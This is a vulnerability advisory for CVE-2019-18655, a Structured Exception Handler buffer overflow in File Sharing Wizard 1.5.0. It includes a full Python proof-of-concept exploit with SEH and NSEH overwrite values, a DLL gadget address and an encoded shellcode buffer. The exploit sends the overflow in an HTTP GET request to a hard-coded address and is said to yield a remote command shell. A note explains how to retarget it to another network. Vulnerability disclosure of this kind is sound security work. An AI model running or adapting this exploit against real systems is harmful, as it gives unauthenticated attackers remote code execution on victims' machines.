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CVE-2019-18655: File Sharing Wizard Version 1.5 - GET Structured Exception Handler based buffer overflow


Summary:
File Sharing Wizard version 1.5.0 is affected of Structured Exception Handler based buffer overflow vulnerability. An unauthenticated attacker is able to perform remote command execution and obtain a command shell by sending a HTTP GET request including the malicious payload in the URL, a similar issue to CVE-2019-17415, CVE-2019-16724, and CVE-2010-2331.

Software Version:
File Sharing Wizard version 1.5.0 build 2008

Tested OS Versions:
Microsoft Windows Vista Ultimate 6.0.6002 Service Pack 2 Build 6002
Microsoft Windows 7 Professional 6.1.7601 Service Pack 1 Build 7601

Product URL:
https://file-sharing-wizard.soft112.com/

Details:
File Sharing Wizard version 1.5.0 build 2008 is affected of Structured Exception Handler based buffer overflow vulnerability. An attacker is able to perform remote command execution and obtain a command shell by sending a HTTP GET request including the malicious payload in the URL, a similar issue to CVE-2019-17415, CVE-2019-16724, and CVE-2010-2331. Following a Proof of Concept exploit (PoC) in order to exploit this vulnerability.

################### Poc ###################
#!/usr/bin/python
import socket
import os
import sys

# Bad chars: \x00\x20 #
# SEH value: 0x9090eb08 (JMP short) #
# NSEH value: 0x7c37576d : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.6030.0 (C:\Program Files\File Sharing Wizard\bin\MSVCR71.dll)

seh='\x6d\x57\x37\x7c'
nseh='\x90\x90\xeb\x08'

buf = b""
buf += b"\xbe\x8f\x59\xb8\x41\xdb\xd5\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x31\x31\x72\x13\x83\xea\xfc\x03\x72\x80\xbb"
buf += b"\x4d\xbd\x76\xb9\xae\x3e\x86\xde\x27\xdb\xb7\xde\x5c"
buf += b"\xaf\xe7\xee\x17\xfd\x0b\x84\x7a\x16\x98\xe8\x52\x19"
buf += b"\x29\x46\x85\x14\xaa\xfb\xf5\x37\x28\x06\x2a\x98\x11"
buf += b"\xc9\x3f\xd9\x56\x34\xcd\x8b\x0f\x32\x60\x3c\x24\x0e"
buf += b"\xb9\xb7\x76\x9e\xb9\x24\xce\xa1\xe8\xfa\x45\xf8\x2a"
buf += b"\xfc\x8a\x70\x63\xe6\xcf\xbd\x3d\x9d\x3b\x49\xbc\x77"
buf += b"\x72\xb2\x13\xb6\xbb\x41\x6d\xfe\x7b\xba\x18\xf6\x78"
buf += b"\x47\x1b\xcd\x03\x93\xae\xd6\xa3\x50\x08\x33\x52\xb4"
buf += b"\xcf\xb0\x58\x71\x9b\x9f\x7c\x84\x48\x94\x78\x0d\x6f"
buf += b"\x7b\x09\x55\x54\x5f\x52\x0d\xf5\xc6\x3e\xe0\x0a\x18"
buf += b"\xe1\x5d\xaf\x52\x0f\x89\xc2\x38\x45\x4c\x50\x47\x2b"
buf += b"\x4e\x6a\x48\x1b\x27\x5b\xc3\xf4\x30\x64\x06\xb1\xcf"
buf += b"\x2e\x0b\x93\x47\xf7\xd9\xa6\x05\x08\x34\xe4\x33\x8b"
buf += b"\xbd\x94\xc7\x93\xb7\x91\x8c\x13\x2b\xeb\x9d\xf1\x4b"
buf += b"\x58\x9d\xd3\x2f\x3f\x0d\xbf\x81\xda\xb5\x5a\xde"

poc= 'A' * 1035 + nseh + seh + '\x90' * 10 + buf + '\x90' * (3949-len(buf))
payload='GET //.:/' + poc + ' HTTP/1.0\r\n\r\n'
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.216.135", 80))
s.send(payload)
s.close

Exploit Note:
This PoC version was customized with a specific IP address, in order to use it in a different local network a new IP address should be defined.

Metasploit's Module:
filesharing_wizard_get_bof

Credit:
Discovered by Armando Huesca